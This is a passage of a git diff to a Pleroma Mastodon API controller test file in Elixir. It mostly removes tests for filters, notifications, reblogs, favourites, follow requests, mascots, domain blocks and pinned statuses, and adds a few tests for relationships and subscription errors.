- assert %{} = json_response(res_conn, 200)
-
- res_conn =
- conn
- |> assign(:user, moderator)
- |> delete("/api/v1/statuses/#{activity2.id}")
-
- assert %{} = json_response(res_conn, 200)
-
- refute Activity.get_by_id(activity1.id)
- refute Activity.get_by_id(activity2.id)
- end
- end
-
- describe "filters" do
- test "creating a filter", %{conn: conn} do
- user = insert(:user)
-
- filter = %Pleroma.Filter{
- phrase: "knights",
- context: ["home"]
- }
-
- conn =
- conn
- |> assign(:user, user)
- |> post("/api/v1/filters", %{"phrase" => filter.phrase, context: filter.context})
-
- assert response = json_response(conn, 200)
- assert response["phrase"] == filter.phrase
- assert response["context"] == filter.context
- assert response["irreversible"] == false
- assert response["id"] != nil
- assert response["id"] != ""
- end
-
- test "fetching a list of filters", %{conn: conn} do
- user = insert(:user)
-
- query_one = %Pleroma.Filter{
- user_id: user.id,
- filter_id: 1,
- phrase: "knights",
- context: ["home"]
- }
-
- query_two = %Pleroma.Filter{
- user_id: user.id,
- filter_id: 2,
- phrase: "who",
- context: ["home"]
- }
-
- {:ok, filter_one} = Pleroma.Filter.create(query_one)
- {:ok, filter_two} = Pleroma.Filter.create(query_two)
-
- response =
- conn
- |> assign(:user, user)
- |> get("/api/v1/filters")
- |> json_response(200)
-
- assert response ==
- render_json(
- FilterView,
- "filters.json",
- filters: [filter_two, filter_one]
- )
- end
-
- test "get a filter", %{conn: conn} do
- user = insert(:user)
-
- query = %Pleroma.Filter{
- user_id: user.id,
- filter_id: 2,
- phrase: "knight",
- context: ["home"]
- }
-
- {:ok, filter} = Pleroma.Filter.create(query)
-
- conn =
- conn
- |> assign(:user, user)
- |> get("/api/v1/filters/#{filter.filter_id}")
-
- assert _response = json_response(conn, 200)
- end
-
- test "update a filter", %{conn: conn} do
- user = insert(:user)
-
- query = %Pleroma.Filter{
- user_id: user.id,
- filter_id: 2,
- phrase: "knight",
- context: ["home"]
- }
-
- {:ok, _filter} = Pleroma.Filter.create(query)
-
- new = %Pleroma.Filter{
- phrase: "nii",
- context: ["home"]
- }
-
- conn =
- conn
- |> assign(:user, user)
- |> put("/api/v1/filters/#{query.filter_id}", %{
- phrase: new.phrase,
- context: new.context
- })
-
- assert response = json_response(conn, 200)
- assert response["phrase"] == new.phrase
- assert response["context"] == new.context
- end
-
- test "delete a filter", %{conn: conn} do
- user = insert(:user)
-
- query = %Pleroma.Filter{
- user_id: user.id,
- filter_id: 2,
- phrase: "knight",
- context: ["home"]
- }
-
- {:ok, filter} = Pleroma.Filter.create(query)
-
- conn =
- conn
- |> assign(:user, user)
- |> delete("/api/v1/filters/#{filter.filter_id}")
-
- assert response = json_response(conn, 200)
- assert response == %{}
- end
- end
-
- describe "list timelines" do
- test "list timeline", %{conn: conn} do
- user = insert(:user)
- other_user = insert(:user)
- {:ok, _activity_one} = CommonAPI.post(user, %{"status" => "Marisa is cute."})
- {:ok, activity_two} = CommonAPI.post(other_user, %{"status" => "Marisa is cute."})
- {:ok, list} = Pleroma.List.create("name", user)
- {:ok, list} = Pleroma.List.follow(list, other_user)
-
- conn =
- conn
- |> assign(:user, user)
- |> get("/api/v1/timelines/list/#{list.id}")
-
- assert [%{"id" => id}] = json_response(conn, 200)
-
- assert id == to_string(activity_two.id)
- end
-
- test "list timeline does not leak non-public statuses for unfollowed users", %{conn: conn} do
- user = insert(:user)
- other_user = insert(:user)
- {:ok, activity_one} = CommonAPI.post(other_user, %{"status" => "Marisa is cute."})
-
- {:ok, _activity_two} =
- CommonAPI.post(other_user, %{
- "status" => "Marisa is cute.",
- "visibility" => "private"
- })
-
- {:ok, list} = Pleroma.List.create("name", user)
- {:ok, list} = Pleroma.List.follow(list, other_user)
-
- conn =
- conn
- |> assign(:user, user)
- |> get("/api/v1/timelines/list/#{list.id}")
-
- assert [%{"id" => id}] = json_response(conn, 200)
-
- assert id == to_string(activity_one.id)
- end
- end
-
- describe "notifications" do
- test "list of notifications", %{conn: conn} do
- user = insert(:user)
- other_user = insert(:user)
-
- {:ok, activity} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"})
-
- {:ok, [_notification]} = Notification.create_notifications(activity)
-
- conn =
- conn
- |> assign(:user, user)
- |> get("/api/v1/notifications")
-
- expected_response =
- "hi <span class=\"h-card\"><a data-user=\"#{user.id}\" class=\"u-url mention\" href=\"#{
- user.ap_id
- }\">@<span>#{user.nickname}</span></a></span>"
-
- assert [%{"status" => %{"content" => response}} | _rest] = json_response(conn, 200)
- assert response == expected_response
- end
-
- test "getting a single notification", %{conn: conn} do
- user = insert(:user)
- other_user = insert(:user)
-
- {:ok, activity} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"})
-
- {:ok, [notification]} = Notification.create_notifications(activity)
-
- conn =
- conn
- |> assign(:user, user)
- |> get("/api/v1/notifications/#{notification.id}")
-
- expected_response =
- "hi <span class=\"h-card\"><a data-user=\"#{user.id}\" class=\"u-url mention\" href=\"#{
- user.ap_id
- }\">@<span>#{user.nickname}</span></a></span>"
-
- assert %{"status" => %{"content" => response}} = json_response(conn, 200)
- assert response == expected_response
- end
-
- test "dismissing a single notification", %{conn: conn} do
- user = insert(:user)
- other_user = insert(:user)
-
- {:ok, activity} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"})
-
- {:ok, [notification]} = Notification.create_notifications(activity)
-
- conn =
- conn
- |> assign(:user, user)
- |> post("/api/v1/notifications/dismiss", %{"id" => notification.id})
-
- assert %{} = json_response(conn, 200)
- end
-
- test "clearing all notifications", %{conn: conn} do
- user = insert(:user)
- other_user = insert(:user)
-
- {:ok, activity} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"})
-
- {:ok, [_notification]} = Notification.create_notifications(activity)
-
- conn =
- conn
- |> assign(:user, user)
- |> post("/api/v1/notifications/clear")
-
- assert %{} = json_response(conn, 200)
-
- conn =
- build_conn()
- |> assign(:user, user)
- |> get("/api/v1/notifications")
-
- assert all = json_response(conn, 200)
- assert all == []
- end
-
- test "paginates notifications using min_id, since_id, max_id, and limit", %{conn: conn} do
- user = insert(:user)
- other_user = insert(:user)
-
- {:ok, activity1} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"})
- {:ok, activity2} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"})
- {:ok, activity3} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"})
- {:ok, activity4} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"})
-
- notification1_id = Repo.get_by(Notification, activity_id: activity1.id).id |> to_string()
- notification2_id = Repo.get_by(Notification, activity_id: activity2.id).id |> to_string()
- notification3_id = Repo.get_by(Notification, activity_id: activity3.id).id |> to_string()
- notification4_id = Repo.get_by(Notification, activity_id: activity4.id).id |> to_string()
-
- conn =
- conn
- |> assign(:user, user)
-
- # min_id
- conn_res =
- conn
- |> get("/api/v1/notifications?limit=2&min_id=#{notification1_id}")
-
- result = json_response(conn_res, 200)
- assert [%{"id" => ^notification3_id}, %{"id" => ^notification2_id}] = result
-
- # since_id
- conn_res =
- conn
- |> get("/api/v1/notifications?limit=2&since_id=#{notification1_id}")
-
- result = json_response(conn_res, 200)
- assert [%{"id" => ^notification4_id}, %{"id" => ^notification3_id}] = result
-
- # max_id
- conn_res =
- conn
- |> get("/api/v1/notifications?limit=2&max_id=#{notification4_id}")
-
- result = json_response(conn_res, 200)
- assert [%{"id" => ^notification3_id}, %{"id" => ^notification2_id}] = result
- end
-
- test "filters notifications using exclude_types", %{conn: conn} do
- user = insert(:user)
- other_user = insert(:user)
-
- {:ok, mention_activity} = CommonAPI.post(other_user, %{"status" => "hey @#{user.nickname}"})
- {:ok, create_activity} = CommonAPI.post(user, %{"status" => "hey"})
- {:ok, favorite_activity, _} = CommonAPI.favorite(create_activity.id, other_user)
- {:ok, reblog_activity, _} = CommonAPI.repeat(create_activity.id, other_user)
- {:ok, _, _, follow_activity} = CommonAPI.follow(other_user, user)
-
- mention_notification_id =
- Repo.get_by(Notification, activity_id: mention_activity.id).id |> to_string()
-
- favorite_notification_id =
- Repo.get_by(Notification, activity_id: favorite_activity.id).id |> to_string()
-
- reblog_notification_id =
- Repo.get_by(Notification, activity_id: reblog_activity.id).id |> to_string()
-
- follow_notification_id =
- Repo.get_by(Notification, activity_id: follow_activity.id).id |> to_string()
-
- conn =
- conn
- |> assign(:user, user)
-
- conn_res =
- get(conn, "/api/v1/notifications", %{exclude_types: ["mention", "favourite", "reblog"]})
-
- assert [%{"id" => ^follow_notification_id}] = json_response(conn_res, 200)
-
- conn_res =
- get(conn, "/api/v1/notifications", %{exclude_types: ["favourite", "reblog", "follow"]})
-
- assert [%{"id" => ^mention_notification_id}] = json_response(conn_res, 200)
-
- conn_res =
- get(conn, "/api/v1/notifications", %{exclude_types: ["reblog", "follow", "mention"]})
-
- assert [%{"id" => ^favorite_notification_id}] = json_response(conn_res, 200)
-
- conn_res =
- get(conn, "/api/v1/notifications", %{exclude_types: ["follow", "mention", "favourite"]})
-
- assert [%{"id" => ^reblog_notification_id}] = json_response(conn_res, 200)
- end
-
- test "destroy multiple", %{conn: conn} do
- user = insert(:user)
- other_user = insert(:user)
-
- {:ok, activity1} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"})
- {:ok, activity2} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"})
- {:ok, activity3} = CommonAPI.post(user, %{"status" => "hi @#{other_user.nickname}"})
- {:ok, activity4} = CommonAPI.post(user, %{"status" => "hi @#{other_user.nickname}"})
-
- notification1_id = Repo.get_by(Notification, activity_id: activity1.id).id |> to_string()
- notification2_id = Repo.get_by(Notification, activity_id: activity2.id).id |> to_string()
- notification3_id = Repo.get_by(Notification, activity_id: activity3.id).id |> to_string()
- notification4_id = Repo.get_by(Notification, activity_id: activity4.id).id |> to_string()
-
- conn =
- conn
- |> assign(:user, user)
-
- conn_res =
- conn
- |> get("/api/v1/notifications")
-
- result = json_response(conn_res, 200)
- assert [%{"id" => ^notification2_id}, %{"id" => ^notification1_id}] = result
-
- conn2 =
- conn
- |> assign(:user, other_user)
-
- conn_res =
- conn2
- |> get("/api/v1/notifications")
-
- result = json_response(conn_res, 200)
- assert [%{"id" => ^notification4_id}, %{"id" => ^notification3_id}] = result
-
- conn_destroy =
- conn
- |> delete("/api/v1/notifications/destroy_multiple", %{
- "ids" => [notification1_id, notification2_id]
- })
-
- assert json_response(conn_destroy, 200) == %{}
-
- conn_res =
- conn2
- |> get("/api/v1/notifications")
-
- result = json_response(conn_res, 200)
- assert [%{"id" => ^notification4_id}, %{"id" => ^notification3_id}] = result
- end
-
- test "doesn't see notifications after muting user with notifications", %{conn: conn} do
- user = insert(:user)
- user2 = insert(:user)
-
- {:ok, _, _, _} = CommonAPI.follow(user, user2)
- {:ok, _} = CommonAPI.post(user2, %{"status" => "hey @#{user.nickname}"})
-
- conn = assign(conn, :user, user)
-
- conn = get(conn, "/api/v1/notifications")
-
- assert length(json_response(conn, 200)) == 1
-
- {:ok, user} = User.mute(user, user2)
-
- conn = assign(build_conn(), :user, user)
- conn = get(conn, "/api/v1/notifications")
-
- assert json_response(conn, 200) == []
- end
-
- test "see notifications after muting user without notifications", %{conn: conn} do
- user = insert(:user)
- user2 = insert(:user)
-
- {:ok, _, _, _} = CommonAPI.follow(user, user2)
- {:ok, _} = CommonAPI.post(user2, %{"status" => "hey @#{user.nickname}"})
-
- conn = assign(conn, :user, user)
-
- conn = get(conn, "/api/v1/notifications")
-
- assert length(json_response(conn, 200)) == 1
-
- {:ok, user} = User.mute(user, user2, false)
-
- conn = assign(build_conn(), :user, user)
- conn = get(conn, "/api/v1/notifications")
-
- assert length(json_response(conn, 200)) == 1
- end
-
- test "see notifications after muting user with notifications and with_muted parameter", %{
- conn: conn
- } do
- user = insert(:user)
- user2 = insert(:user)
-
- {:ok, _, _, _} = CommonAPI.follow(user, user2)
- {:ok, _} = CommonAPI.post(user2, %{"status" => "hey @#{user.nickname}"})
-
- conn = assign(conn, :user, user)
-
- conn = get(conn, "/api/v1/notifications")
-
- assert length(json_response(conn, 200)) == 1
-
- {:ok, user} = User.mute(user, user2)
-
- conn = assign(build_conn(), :user, user)
- conn = get(conn, "/api/v1/notifications", %{"with_muted" => "true"})
-
- assert length(json_response(conn, 200)) == 1
- end
- end
-
- describe "reblogging" do
- test "reblogs and returns the reblogged status", %{conn: conn} do
- activity = insert(:note_activity)
- user = insert(:user)
-
- conn =
- conn
- |> assign(:user, user)
- |> post("/api/v1/statuses/#{activity.id}/reblog")
-
- assert %{
- "reblog" => %{"id" => id, "reblogged" => true, "reblogs_count" => 1},
- "reblogged" => true
- } = json_response(conn, 200)
-
- assert to_string(activity.id) == id
- end
-
- test "reblogged status for another user", %{conn: conn} do
- activity = insert(:note_activity)
- user1 = insert(:user)
- user2 = insert(:user)
- user3 = insert(:user)
- CommonAPI.favorite(activity.id, user2)
- {:ok, _bookmark} = Pleroma.Bookmark.create(user2.id, activity.id)
- {:ok, reblog_activity1, _object} = CommonAPI.repeat(activity.id, user1)
- {:ok, _, _object} = CommonAPI.repeat(activity.id, user2)
-
- conn_res =
- conn
- |> assign(:user, user3)
- |> get("/api/v1/statuses/#{reblog_activity1.id}")
-
- assert %{
- "reblog" => %{"id" => id, "reblogged" => false, "reblogs_count" => 2},
- "reblogged" => false,
- "favourited" => false,
- "bookmarked" => false
- } = json_response(conn_res, 200)
-
- conn_res =
- conn
- |> assign(:user, user2)
- |> get("/api/v1/statuses/#{reblog_activity1.id}")
-
- assert %{
- "reblog" => %{"id" => id, "reblogged" => true, "reblogs_count" => 2},
- "reblogged" => true,
- "favourited" => true,
- "bookmarked" => true
- } = json_response(conn_res, 200)
-
- assert to_string(activity.id) == id
- end
-
- test "returns 400 error when activity is not exist", %{conn: conn} do
- user = insert(:user)
-
- conn =
- conn
- |> assign(:user, user)
- |> post("/api/v1/statuses/foo/reblog")
-
- assert json_response(conn, 400) == %{"error" => "Could not repeat"}
- end
- end
-
- describe "unreblogging" do
- test "unreblogs and returns the unreblogged status", %{conn: conn} do
- activity = insert(:note_activity)
- user = insert(:user)
-
- {:ok, _, _} = CommonAPI.repeat(activity.id, user)
-
- conn =
- conn
- |> assign(:user, user)
- |> post("/api/v1/statuses/#{activity.id}/unreblog")
-
- assert %{"id" => id, "reblogged" => false, "reblogs_count" => 0} = json_response(conn, 200)
-
- assert to_string(activity.id) == id
- end
-
- test "returns 400 error when activity is not exist", %{conn: conn} do
- user = insert(:user)
-
- conn =
- conn
- |> assign(:user, user)
- |> post("/api/v1/statuses/foo/unreblog")
-
- assert json_response(conn, 400) == %{"error" => "Could not unrepeat"}
- end
- end
-
- describe "favoriting" do
- test "favs a status and returns it", %{conn: conn} do
- activity = insert(:note_activity)
- user = insert(:user)
-
- conn =
- conn
- |> assign(:user, user)
- |> post("/api/v1/statuses/#{activity.id}/favourite")
-
- assert %{"id" => id, "favourites_count" => 1, "favourited" => true} =
- json_response(conn, 200)
-
- assert to_string(activity.id) == id
- end
-
- test "returns 400 error for a wrong id", %{conn: conn} do
- user = insert(:user)
-
- conn =
- conn
- |> assign(:user, user)
- |> post("/api/v1/statuses/1/favourite")
-
- assert json_response(conn, 400) == %{"error" => "Could not favorite"}
- end
- end
-
- describe "unfavoriting" do
- test "unfavorites a status and returns it", %{conn: conn} do
- activity = insert(:note_activity)
- user = insert(:user)
-
- {:ok, _, _} = CommonAPI.favorite(activity.id, user)
-
- conn =
- conn
- |> assign(:user, user)
- |> post("/api/v1/statuses/#{activity.id}/unfavourite")
-
- assert %{"id" => id, "favourites_count" => 0, "favourited" => false} =
- json_response(conn, 200)
-
- assert to_string(activity.id) == id
- end
-
- test "returns 400 error for a wrong id", %{conn: conn} do
- user = insert(:user)
-
- conn =
- conn
- |> assign(:user, user)
- |> post("/api/v1/statuses/1/unfavourite")
-
- assert json_response(conn, 400) == %{"error" => "Could not unfavorite"}
- end
- end
-
describe "user timelines" do
test "gets a users statuses", %{conn: conn} do
user_one = insert(:user)
@@ -1561,6 +336,17 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIControllerTest do
assert to_string(other_user.id) == relationship["id"]
end
+
+ test "returns an empty list on a bad request", %{conn: conn} do
+ user = insert(:user)
+
+ conn =
+ conn
+ |> assign(:user, user)
+ |> get("/api/v1/accounts/relationships", %{})
+
+ assert [] = json_response(conn, 200)
+ end
end
describe "media upload" do
@@ -1601,51 +387,6 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIControllerTest do
end
describe "locked accounts" do
- test "/api/v1/follow_requests works" do
- user = insert(:user, %{info: %User.Info{locked: true}})
- other_user = insert(:user)
-
- {:ok, _activity} = ActivityPub.follow(other_user, user)
-
- user = User.get_cached_by_id(user.id)
- other_user = User.get_cached_by_id(other_user.id)
-
- assert User.following?(other_user, user) == false
-
- conn =
- build_conn()
- |> assign(:user, user)
- |> get("/api/v1/follow_requests")
-
- assert [relationship] = json_response(conn, 200)
- assert to_string(other_user.id) == relationship["id"]
- end
-
- test "/api/v1/follow_requests/:id/authorize works" do
- user = insert(:user, %{info: %User.Info{locked: true}})
- other_user = insert(:user)
-
- {:ok, _activity} = ActivityPub.follow(other_user, user)
-
- user = User.get_cached_by_id(user.id)
- other_user = User.get_cached_by_id(other_user.id)
-
- assert User.following?(other_user, user) == false
-
- conn =
- build_conn()
- |> assign(:user, user)
- |> post("/api/v1/follow_requests/#{other_user.id}/authorize")
-
- assert relationship = json_response(conn, 200)
- assert to_string(other_user.id) == relationship["id"]
-
- user = User.get_cached_by_id(user.id)
- other_user = User.get_cached_by_id(other_user.id)
-
- assert User.following?(other_user, user) == true
- end
-
test "verify_credentials", %{conn: conn} do
user = insert(:user, %{info: %User.Info{default_scope: "private"}})
@@ -1657,28 +398,6 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIControllerTest do
assert %{"id" => id, "source" => %{"privacy" => "private"}} = json_response(conn, 200)
assert id == to_string(user.id)
end
-
- test "/api/v1/follow_requests/:id/reject works" do
- user = insert(:user, %{info: %User.Info{locked: true}})
- other_user = insert(:user)
-
- {:ok, _activity} = ActivityPub.follow(other_user, user)
-
- user = User.get_cached_by_id(user.id)
-
- conn =
- build_conn()
- |> assign(:user, user)
- |> post("/api/v1/follow_requests/#{other_user.id}/reject")
-
- assert relationship = json_response(conn, 200)
- assert to_string(other_user.id) == relationship["id"]
-
- user = User.get_cached_by_id(user.id)
- other_user = User.get_cached_by_id(other_user.id)
-
- assert User.following?(other_user, user) == false
- end
end
describe "account fetching" do
@@ -1762,126 +481,72 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIControllerTest do
end
end
- test "mascot upload", %{conn: conn} do
- user = insert(:user)
-
- non_image_file = %Plug.Upload{
- content_type: "audio/mpeg",
- path: Path.absname("test/fixtures/sound.mp3"),
- filename: "sound.mp3"
- }
-
- conn =
- conn
- |> assign(:user, user)
- |> put("/api/v1/pleroma/mascot", %{"file" => non_image_file})
-
- assert json_response(conn, 415)
-
- file = %Plug.Upload{
- content_type: "image/jpg",
- path: Path.absname("test/fixtures/image.jpg"),
- filename: "an_image.jpg"
- }
-
- conn =
- build_conn()
- |> assign(:user, user)
- |> put("/api/v1/pleroma/mascot", %{"file" => file})
-
- assert %{"id" => _, "type" => image} = json_response(conn, 200)
- end
-
- test "mascot retrieving", %{conn: conn} do
- user = insert(:user)
- # When user hasn't set a mascot, we should just get pleroma tan back
- conn =
- conn
- |> assign(:user, user)
- |> get("/api/v1/pleroma/mascot")
-
- assert %{"url" => url} = json_response(conn, 200)
- assert url =~ "pleroma-fox-tan-smol"
-
- # When a user sets their mascot, we should get that back
- file = %Plug.Upload{
- content_type: "image/jpg",
- path: Path.absname("test/fixtures/image.jpg"),
- filename: "an_image.jpg"
- }
-
- conn =
- build_conn()
- |> assign(:user, user)
- |> put("/api/v1/pleroma/mascot", %{"file" => file})
-
- assert json_response(conn, 200)
-
- user = User.get_cached_by_id(user.id)
-
- conn =
- build_conn()
- |> assign(:user, user)
- |> get("/api/v1/pleroma/mascot")
-
- assert %{"url" => url, "type" => "image"} = json_response(conn, 200)
- assert url =~ "an_image"
- end
-
- test "hashtag timeline", %{conn: conn} do
- following = insert(:user)
-
- capture_log(fn ->
- {:ok, activity} = CommonAPI.post(following, %{"status" => "test #2hu"})
+ describe "/api/v1/pleroma/mascot" do
+ test "mascot upload", %{conn: conn} do
+ user = insert(:user)
- {:ok, [_activity]} =
- OStatus.fetch_activity_from_url("https://shitposter.club/notice/2827873")
+ non_image_file = %Plug.Upload{
+ content_type: "audio/mpeg",
+ path: Path.absname("test/fixtures/sound.mp3"),
+ filename: "sound.mp3"
+ }
- nconn =
+ conn =
conn
- |> get("/api/v1/timelines/tag/2hu")
-
- assert [%{"id" => id}] = json_response(nconn, 200)
-
- assert id == to_string(activity.id)
+ |> assign(:user, user)
+ |> put("/api/v1/pleroma/mascot", %{"file" => non_image_file})
- # works for different capitalization too
- nconn =
- conn
- |> get("/api/v1/timelines/tag/2HU")
+ assert json_response(conn, 415)
- assert [%{"id" => id}] = json_response(nconn, 200)
+ file = %Plug.Upload{
+ content_type: "image/jpg",
+ path: Path.absname("test/fixtures/image.jpg"),
+ filename: "an_image.jpg"
+ }
- assert id == to_string(activity.id)
- end)
- end
+ conn =
+ build_conn()
+ |> assign(:user, user)
+ |> put("/api/v1/pleroma/mascot", %{"file" => file})
- test "multi-hashtag timeline", %{conn: conn} do
- user = insert(:user)
+ assert %{"id" => _, "type" => image} = json_response(conn, 200)
+ end
- {:ok, activity_test} = CommonAPI.post(user, %{"status" => "#test"})
- {:ok, activity_test1} = CommonAPI.post(user, %{"status" => "#test #test1"})
- {:ok, activity_none} = CommonAPI.post(user, %{"status" => "#test #none"})
+ test "mascot retrieving", %{conn: conn} do
+ user = insert(:user)
+ # When user hasn't set a mascot, we should just get pleroma tan back
+ conn =
+ conn
+ |> assign(:user, user)
+ |> get("/api/v1/pleroma/mascot")
- any_test =
- conn
- |> get("/api/v1/timelines/tag/test", %{"any" => ["test1"]})
+ assert %{"url" => url} = json_response(conn, 200)
+ assert url =~ "pleroma-fox-tan-smol"
- [status_none, status_test1, status_test] = json_response(any_test, 200)
+ # When a user sets their mascot, we should get that back
+ file = %Plug.Upload{
+ content_type: "image/jpg",
+ path: Path.absname("test/fixtures/image.jpg"),
+ filename: "an_image.jpg"
+ }
- assert to_string(activity_test.id) == status_test["id"]
- assert to_string(activity_test1.id) == status_test1["id"]
- assert to_string(activity_none.id) == status_none["id"]
+ conn =
+ build_conn()
+ |> assign(:user, user)
+ |> put("/api/v1/pleroma/mascot", %{"file" => file})
- restricted_test =
- conn
- |> get("/api/v1/timelines/tag/test", %{"all" => ["test1"], "none" => ["none"]})
+ assert json_response(conn, 200)
- assert [status_test1] == json_response(restricted_test, 200)
+ user = User.get_cached_by_id(user.id)
- all_test = conn |> get("/api/v1/timelines/tag/test", %{"all" => ["none"]})
+ conn =
+ build_conn()
+ |> assign(:user, user)
+ |> get("/api/v1/pleroma/mascot")
- assert [status_none] == json_response(all_test, 200)
+ assert %{"url" => url, "type" => "image"} = json_response(conn, 200)
+ assert url =~ "an_image"
+ end
end
test "getting followers", %{conn: conn} do
@@ -2193,23 +858,51 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIControllerTest do
end
end
- test "subscribing / unsubscribing to a user", %{conn: conn} do
- user = insert(:user)
- subscription_target = insert(:user)
+ describe "subscribing / unsubscribing" do
+ test "subscribing / unsubscribing to a user", %{conn: conn} do
+ user = insert(:user)
+ subscription_target = insert(:user)
- conn =
- conn
- |> assign(:user, user)
- |> post("/api/v1/pleroma/accounts/#{subscription_target.id}/subscribe")
+ conn =
+ conn
+ |> assign(:user, user)
+ |> post("/api/v1/pleroma/accounts/#{subscription_target.id}/subscribe")
- assert %{"id" => _id, "subscribing" => true} = json_response(conn, 200)
+ assert %{"id" => _id, "subscribing" => true} = json_response(conn, 200)
- conn =
- build_conn()
- |> assign(:user, user)
- |> post("/api/v1/pleroma/accounts/#{subscription_target.id}/unsubscribe")
+ conn =
+ build_conn()
+ |> assign(:user, user)
+ |> post("/api/v1/pleroma/accounts/#{subscription_target.id}/unsubscribe")
- assert %{"id" => _id, "subscribing" => false} = json_response(conn, 200)
+ assert %{"id" => _id, "subscribing" => false} = json_response(conn, 200)
+ end
+ end
+
+ describe "subscribing" do
+ test "returns 404 when subscription_target not found", %{conn: conn} do
+ user = insert(:user)
+
+ conn =
+ conn
+ |> assign(:user, user)
+ |> post("/api/v1/pleroma/accounts/target_id/subscribe")
+
+ assert %{"error" => "Record not found"} = json_response(conn, 404)
+ end
+ end
+
+ describe "unsubscribing" do
+ test "returns 404 when subscription_target not found", %{conn: conn} do
+ user = insert(:user)
+
+ conn =
+ conn
+ |> assign(:user, user)
+ |> post("/api/v1/pleroma/accounts/target_id/unsubscribe")
+
+ assert %{"error" => "Record not found"} = json_response(conn, 404)
+ end
end
test "getting a list of mutes", %{conn: conn} do
@@ -2263,46 +956,6 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIControllerTest do
assert [%{"id" => ^other_user_id}] = json_response(conn, 200)
end
- test "blocking / unblocking a domain", %{conn: conn} do
- user = insert(:user)
- other_user = insert(:user, %{ap_id: "https://dogwhistle.zone/@pundit"})
-
- conn =
- conn
- |> assign(:user, user)
- |> post("/api/v1/domain_blocks", %{"domain" => "dogwhistle.zone"})
-
- assert %{} = json_response(conn, 200)
- user = User.get_cached_by_ap_id(user.ap_id)
- assert User.blocks?(user, other_user)
-
- conn =
- build_conn()
- |> assign(:user, user)
- |> delete("/api/v1/domain_blocks", %{"domain" => "dogwhistle.zone"})
-
- assert %{} = json_response(conn, 200)
- user = User.get_cached_by_ap_id(user.ap_id)
- refute User.blocks?(user, other_user)
- end
-
- test "getting a list of domain blocks", %{conn: conn} do
- user = insert(:user)
-
- {:ok, user} = User.block_domain(user, "bad.site")
- {:ok, user} = User.block_domain(user, "even.worse.site")
-
- conn =
- conn
- |> assign(:user, user)
- |> get("/api/v1/domain_blocks")
-
- domain_blocks = json_response(conn, 200)
-
- assert "bad.site" in domain_blocks
- assert "even.worse.site" in domain_blocks
- end
-
test "unimplemented follow_requests, blocks, domain blocks" do
user = insert(:user)
@@ -2594,14 +1247,11 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIControllerTest do
{:ok, _} = CommonAPI.post(user, %{"status" => "cofe"})
# Stats should count users with missing or nil `info.deactivated` value
- user = User.get_cached_by_id(user.id)
- info_change = Changeset.change(user.info, %{deactivated: nil})
{:ok, _user} =
- user
- |> Changeset.change()
- |> Changeset.put_embed(:info, info_change)
- |> User.update_and_set_cache()
+ user.id
+ |> User.get_cached_by_id()
+ |> User.update_info(&Changeset.change(&1, %{deactivated: nil}))
Pleroma.Stats.force_update()
@@ -2652,10 +1302,6 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIControllerTest do
[user: user, activity: activity]
end
- clear_config([:instance, :max_pinned_statuses]) do
- Config.put([:instance, :max_pinned_statuses], 1)
- end
-
test "returns pinned statuses", %{conn: conn, user: user, activity: activity} do
{:ok, _} = CommonAPI.pin(activity.id, user)
@@ -2669,257 +1315,6 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIControllerTest do
assert [%{"id" => ^id_str, "pinned" => true}] = result
end
-
- test "pin status", %{conn: conn, user: user, activity: activity} do
- id_str = to_string(activity.id)
-
- assert %{"id" => ^id_str, "pinned" => true} =
- conn
- |> assign(:user, user)
- |> post("/api/v1/statuses/#{activity.id}/pin")
- |> json_response(200)
-
- assert [%{"id" => ^id_str, "pinned" => true}] =
- conn
- |> assign(:user, user)
- |> get("/api/v1/accounts/#{user.id}/statuses?pinned=true")
- |> json_response(200)
- end
-
- test "/pin: returns 400 error when activity is not public", %{conn: conn, user: user} do
- {:ok, dm} = CommonAPI.post(user, %{"status" => "test", "visibility" => "direct"})
-
- conn =
- conn
- |> assign(:user, user)
- |> post("/api/v1/statuses/#{dm.id}/pin")
-
- assert json_response(conn, 400) == %{"error" => "Could not pin"}
- end
-
- test "unpin status", %{conn: conn, user: user, activity: activity} do
- {:ok, _} = CommonAPI.pin(activity.id, user)
-
- id_str = to_string(activity.id)
- user = refresh_record(user)
-
- assert %{"id" => ^id_str, "pinned" => false} =
- conn
- |> assign(:user, user)
- |> post("/api/v1/statuses/#{activity.id}/unpin")
- |> json_response(200)
-
- assert [] =
- conn
- |> assign(:user, user)
- |> get("/api/v1/accounts/#{user.id}/statuses?pinned=true")
- |> json_response(200)
- end
-
- test "/unpin: returns 400 error when activity is not exist", %{conn: conn, user: user} do
- conn =
- conn
- |> assign(:user, user)
- |> post("/api/v1/statuses/1/unpin")
-
- assert json_response(conn, 400) == %{"error" => "Could not unpin"}
- end
-
- test "max pinned statuses", %{conn: conn, user: user, activity: activity_one} do
- {:ok, activity_two} = CommonAPI.post(user, %{"status" => "HI!!!"})
-
- id_str_one = to_string(activity_one.id)
-
- assert %{"id" => ^id_str_one, "pinned" => true} =
- conn
- |> assign(:user, user)
- |> post("/api/v1/statuses/#{id_str_one}/pin")
- |> json_response(200)
-
- user = refresh_record(user)
-
- assert %{"error" => "You have already pinned the maximum number of statuses"} =
- conn
- |> assign(:user, user)
- |> post("/api/v1/statuses/#{activity_two.id}/pin")
- |> json_response(400)
- end
- end
-
- describe "cards" do
- setup do
- Config.put([:rich_media, :enabled], true)
-
- user = insert(:user)
- %{user: user}
- end
-
- test "returns rich-media card", %{conn: conn, user: user} do
- {:ok, activity} = CommonAPI.post(user, %{"status" => "https://example.com/ogp"})
-
- card_data = %{
- "image" => "http://ia.media-imdb.com/images/rock.jpg",
- "provider_name" => "example.com",
- "provider_url" => "https://example.com",
